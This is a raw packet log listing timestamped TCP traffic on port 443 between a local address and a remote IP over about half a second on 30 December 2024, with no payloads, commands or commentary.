Dec 30, 2024 16:16:56.400615931 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400624037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400676012 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400681973 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400734901 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400784016 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400830030 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400851011 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400860071 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400895119 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400895119 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.400928020 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400966883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.400995970 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401004076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401017904 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401067019 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401130915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401169062 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401182890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401190042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401221037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401259899 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401314974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401356936 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401372910 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401379108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401395082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401398897 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401426077 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401432991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401452065 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401453018 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401537895 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401545048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401607037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.401962042 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.401998997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.402049065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.402049065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.402057886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.402105093 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.491763115 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.491889954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.491933107 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.491966009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492063999 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492100954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492131948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492280006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492300034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492453098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492453098 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492475033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492487907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492532015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492532015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492541075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492551088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492583036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492598057 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492607117 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492619038 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492641926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492664099 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492670059 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492729902 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492754936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492762089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492774010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492798090 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492830038 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492835045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492892027 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.492935896 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492973089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.492996931 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493005991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493016005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493021011 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493046999 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493052006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493062973 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493074894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493099928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493104935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493112087 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493180037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493225098 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493278980 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493294954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493340969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493443012 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493475914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493494034 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493500948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493540049 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493658066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493705988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493719101 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493726015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493741989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493756056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493783951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493803024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493809938 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493825912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493843079 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493865967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493885994 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.493892908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.493915081 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.494524002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.494560003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.494589090 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.494599104 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.494616985 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.535168886 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584283113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584372044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584404945 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584491968 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584491968 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584491968 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584503889 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584513903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584584951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584625006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584676027 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584687948 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584698915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584716082 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584717989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584745884 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584753036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584765911 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584789038 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584803104 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584825993 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584834099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584846020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.584937096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.584973097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585010052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585015059 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585025072 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585026979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585074902 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585199118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585236073 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585258961 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585266113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585278988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585310936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585310936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585321903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585367918 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585441113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585475922 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585484028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585490942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585508108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585526943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585567951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585573912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585593939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585633039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585639000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585639954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585648060 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585664988 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585689068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585689068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585702896 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585716009 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585762978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585800886 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585808992 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585850000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585850000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585860014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585899115 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585923910 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585932016 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.585967064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585967064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.585967064 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586033106 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586066008 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586091042 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586097956 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586112022 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586133003 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586133003 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586143970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586158037 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586170912 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586236954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586330891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586361885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586380005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586393118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.586430073 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586430073 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.586936951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.587003946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.587003946 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.587013006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.587064981 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.587064981 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.676863909 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.676904917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.676933050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.676954985 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.676981926 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.676990986 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677011013 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677020073 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677031994 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677067041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677105904 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677109957 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677118063 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677156925 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677187920 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677228928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677233934 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677242041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677282095 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677387953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677421093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677436113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677443981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677467108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677586079 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677623987 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677635908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677644014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677658081 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677674055 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677711010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677720070 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677726984 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677757025 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677763939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677809000 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677815914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677831888 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677855015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.677861929 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.677876949 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678028107 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678072929 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678072929 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678081989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678116083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678119898 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678128958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678158998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678163052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678175926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678180933 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678195953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678208113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678231955 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678241014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678251982 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678286076 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678297043 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678308010 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678442001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678483963 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678484917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678493023 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678530931 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678534985 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678544998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678566933 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678569078 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678590059 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678596020 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678606987 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678611040 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678647041 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678652048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678680897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678692102 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678699017 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678713083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678720951 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678747892 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678754091 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678793907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678864002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678904057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678911924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678919077 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.678947926 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.678965092 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.679466009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.679507017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.679544926 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.679593086 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.735035896 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.735326052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769315958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769345045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769375086 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769391060 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769406080 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769434929 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769435883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769447088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769480944 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769506931 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769561052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769571066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769613028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769741058 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769785881 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769813061 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769860983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769900084 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.769942045 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.769977093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770023108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770085096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770117998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770132065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770138979 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770153999 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770174980 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770404100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770447969 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770447969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770462036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770490885 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770507097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770508051 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770518064 CET	443	49704	169.197.85.95	192.168.2.5
